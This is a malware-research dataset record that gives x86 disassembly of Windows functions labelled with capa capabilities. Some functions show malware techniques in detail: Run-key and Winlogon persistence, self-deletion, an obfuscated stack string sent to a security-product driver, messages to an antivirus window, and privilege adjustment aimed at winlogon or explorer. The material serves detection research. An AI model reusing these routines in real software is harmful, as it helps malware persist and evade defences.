joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f4b90
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x54a3b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push esi
push edi
mov edi, ecx
mov eax, 0x7fffffff
lea ecx, [esp + 0x2c]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call fcn.00473490
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x30]
push ecx
push edx
mov ecx, edi
mov dword [esp + 0x54], 0
call fcn.004f4a50
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x4f4ce8
mov eax, dword [esp + 8]
push 0
test eax, eax
push 0
jne 0x4f4c15
mov ecx, dword [edi + 0x4c]
add ecx, 0x14
call fcn.004d25e0
jmp 0x4f4c21
mov ecx, dword [edi + 0x4c]
push eax
add ecx, 0x14
call fcn.004d26d0
test eax, eax
je 0x4f4ce8
lea esi, [eax + 0x18]
push esi
call fcn.00474410
add esi, eax
push esi
call fcn.00474410
add esi, eax
add esp, 8
mov esi, dword [esi]
test esi, esi
je 0x4f4ce8
mov eax, dword [esp + 8]
test eax, eax
jne 0x4f4c5f
lea eax, [esp + 0x1c]
mov ecx, edi
push eax
call fcn.004f9090
jmp 0x4f4c6e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x1c]
sub eax, ecx
sub eax, esi
mov esi, dword [esp + 0xc]
add eax, esi
cdq
sub eax, edx
mov edx, dword [esp + 0x20]
mov ecx, eax
mov eax, dword [esp + 0x28]
sar ecx, 1
sub ecx, esi
mov esi, dword [esp + 0x18]
sub eax, edx
sub eax, esi
mov esi, dword [esp + 0x10]
add eax, esi
cdq
sub eax, edx
mov edx, dword [esp + 0x50]
sar eax, 1
sub eax, esi
cmp edx, 0x202004f
jne 0x4f4cba
xor eax, eax
jmp 0x4f4cc4
cmp edx, 0x2020050
jne 0x4f4cc4
xor ecx, ecx
and eax, 0xffff
and ecx, 0xffff
shl eax, 0x10
or eax, ecx
mov ecx, edi
push eax
lea eax, [esp + 0x30]
push eax
push 0
push 0x202003d
call fcn.004f3100
lea ecx, [esp + 0x2c]
mov dword [esp + 0x48], 0xffffffff
mov dword [esp + 0x2c], 0x54d7d0
call fcn.00473690
mov ecx, dword [esp + 0x40]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x44
ret 4
Function at 0x4f9c60
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x44
push esi
lea eax, [esp + 4]
push 0x44
mov esi, ecx
push eax
call fcn.004743c0
add esp, 8
lea ecx, [esi + 0x64]
mov eax, dword [esi + 0x5c]
lea edx, [esp + 4]
push ecx
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push eax
push 0
mov dword [esp + 0x2c], 0x44
mov dword [esi + 0x388], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4f9cc0
push 0x596598
call fcn.004dc540
add esp, 4
xor eax, eax
pop esi
add esp, 0x44
ret
push 0
push 0
push 0
push 0
push esi
push 0x4f9c00
call fcn.0051e0bd
mov eax, 1
pop esi
add esp, 0x44
ret

Function at 0x50e55e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x598af0
cmp edx, dword [eax]
je 0x50e580
add eax, 8
inc ecx
cmp eax, 0x598b80
jl 0x50e571
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x598af0]
jne 0x50e6ae
mov eax, dword [0x5a8aec]
cmp eax, 1
je 0x50e688
test eax, eax
jne 0x50e5b1
cmp dword [0x597954], 1
je 0x50e688
cmp edx, 0xfc
je 0x50e6ae
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x50e5e8
lea eax, [ebp - 0x1a4]
push 0x559914
push eax
call fcn.005087b0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00502070
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x50e62b
lea eax, [ebp - 0x1a4]
push eax
call fcn.00502070
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x595bb4
push edi
call fcn.005030f0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x5598f8
push eax
call fcn.005087b0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.005087c0
lea eax, [ebp - 0xa0]
push 0x5598f4
push eax
call fcn.005087c0
push dword [esi + 0x598af4]
lea eax, [ebp - 0xa0]
push eax
call fcn.005087c0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x5598cc
push eax
call fcn.005109bb
add esp, 0x2c
pop edi
jmp 0x50e6ae
lea eax, [ebp + 8]
lea esi, [esi + 0x598af4]
push 0
push eax
push dword [esi]
call fcn.00502070
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x5154f0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.005031f0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x5155bb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x5155bb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x51556e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x515579
or bh, 8
and edi, 0x8000000
je 0x515594
mov eax, dword [0x5aa25c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x5155bb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x515990
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x5159bb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x5159df
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x5159fa
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x51a093
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x51a0b5
cmp dword [edi + 0x3c], 0
jne 0x51a0b5
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.005358e8
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.0051a0e2
pop edi
pop esi
pop ebx
ret 8

Function at 0x51bcf5
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x51bd2d
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00519dd1
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00519da9
jmp 0x51bd39
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x51d7a4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x51d7e6
call fcn.005358e8
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x51d7e6
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x51d7dd
xor eax, eax
jmp 0x51d7ee
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0051d7f4
pop edi
pop esi
pop ebx
ret 4
Function at 0x401130
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x20f]
push ebx
push eax
mov dword [ebp - 4], ebx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x313]
push ebx
push ecx
mov dword [ebp - 8], 0xff0ff
mov byte [ebp - 0x314], bl
call sub.MSVCRT.dll_memset
xor edx, edx
add esp, 0x18
mov word [ebp - reloc.wtsapi32.dll_WTSSetUserConfigA], dx
cmp esi, ebx
je 0x4012ce
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401280
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x102
push ebx
push ebx
push ebx
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4012b6
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 8]
push edx
push 0x40452c
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
lea edx, [ebp - 0x210]
add esp, 0x10
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401221
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401234
sub eax, edx
push edi
mov edi, eax
lea ebx, [ebp - 0x10c]
lea eax, [ebp - 0x314]
call fcn.00401690
lea edx, [ebp - 0x210]
mov ecx, edx
call fcn.004016d0
mov eax, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push 0
mov edx, ebx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
pop edi
jmp 0x4012b6
lea ecx, [ebp - 4]
push ecx
push 0x102
push ebx
push str.softwaremicrosoftwindowscurrentversion_run
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012b6
mov edx, dword [ebp - 4]
push 0x104
push esi
push 1
push ebx
push str.userinit
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x4012ce
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401520
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x401f70
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4015f0
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x4015ef
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4015ef
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4019b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
push esi
push edi
xor ebx, ebx
push reloc.wtsapi32.dll_WTSVirtualChannelRead
lea eax, [ebp - 0x58]
push ebx
push eax
mov dword [ebp - 0x5c], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x163]
push ebx
push ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401a8f
mov eax, dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a5d
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x401a5d
test byte [ebp + 8], 2
jne 0x401a5d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401a81
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401a81
test byte [ebp + 8], 2
jne 0x401a81
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4021b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - WTSQueryUserToken], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402330
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push WTSQueryUserToken
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402b70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
call section..pdata
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00403920
test eax, eax
je 0x402bb1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004021b0
call fcn.004020c0
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402be6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.00402340
call fcn.00402430
call fcn.00402520
call fcn.00402660
mov edi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call edi
test eax, eax
jne 0x402c17
call fcn.004033b0
test eax, eax
je 0x402c17
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call edi
push str.kernel32.dll
mov ebx, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402c50
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402c50
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402ca2
test ebx, ebx
je 0x402c70
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402c93
lea esi, [ebp - 0x10c]
call fcn.00401130
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401b70
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402db4
call fcn.004028b0
call fcn.00401520
jmp 0x402db4
test ebx, ebx
je 0x402d59
push str._apppatch_
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402cfd
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea ecx, [ebp - 1]
push ecx
jmp 0x402d89
call fcn.004028b0
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402d52
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d33
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, str.winlogon.exe
jne 0x402d43
mov eax, str.explorer.exe
push eax
call fcn.00401aa0
test eax, eax
je 0x402d52
call fcn.00401b70
call fcn.00401520
jmp 0x402db4
lea esi, [ebp - 0x10c]
call fcn.00401130
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402db4
push 0x404ea0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402d95
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, str.winlogon.exe
jne 0x402da5
mov eax, str.explorer.exe
push eax
call fcn.00401aa0
test eax, eax
je 0x402db4
call fcn.00401b70
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403ad0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403af9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..text]
inc esi
xor eax, edx
dec ecx
jne 0x403ae4
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x4013c0
Capabilities:
Read .ini file

Disassembly:
mov eax, dword [ecx + 0x18]
mov edx, 0x10
cmp eax, edx
jb 0x4013d1
mov eax, dword [ecx + 4]
jmp 0x4013d4
lea eax, [ecx + 4]
cmp dword [ecx + 0x34], edx
jb 0x4013de
mov ecx, dword [ecx + 0x20]
jmp 0x4013e1
add ecx, 0x20
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
push eax
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
ret 0x10

Function at 0x401c80
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401c9a
test al, 0x10
jne 0x401c9a
mov eax, 1
ret
xor eax, eax
ret

Function at 0x402060
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push edi
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 0x60]
lea edx, [esp + 0x18]
push edx
push eax
push eax
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x74]
or eax, 0x8000000
push eax
push 0
push 0
push 0
push ecx
push 0
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x44], str.winsta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
jne 0x4020c3
add esp, 0x54
ret
mov eax, dword [esp + 0x5c]
test eax, eax
je 0x4020d7
mov edx, dword [esp]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
mov eax, 1
pop esi
add esp, 0x54
ret

Function at 0x402150
Capabilities:
Get common file path

Disassembly:
sub esp, 0x404
mov eax, dword [0x412100]
mov dword [esp + 0x400], eax
lea eax, [esp]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp eax, 0x400
ja 0x4021ad
test eax, eax
je 0x4021ad
mov edx, dword [esp + 0x408]
lea eax, [esp]
mov ecx, eax
sub edx, ecx
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402190
mov ecx, dword [esp + 0x400]
call fcn.00404b17
add esp, 0x404
ret
mov edx, dword [str.c:_temp]
mov eax, dword [esp + 0x408]
mov dword [eax], edx
mov ecx, dword [0x40f308]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0x400]
call fcn.00404b17
add esp, 0x404
ret

Function at 0x4021e0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push esi
mov esi, dword [esp + 8]
push 0
push 0
push eax
push ecx
push 0
push 0
mov dword [esi], 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
cmp eax, 0xffffffff
setne dl
mov dword [esi], eax
pop esi
mov eax, edx
ret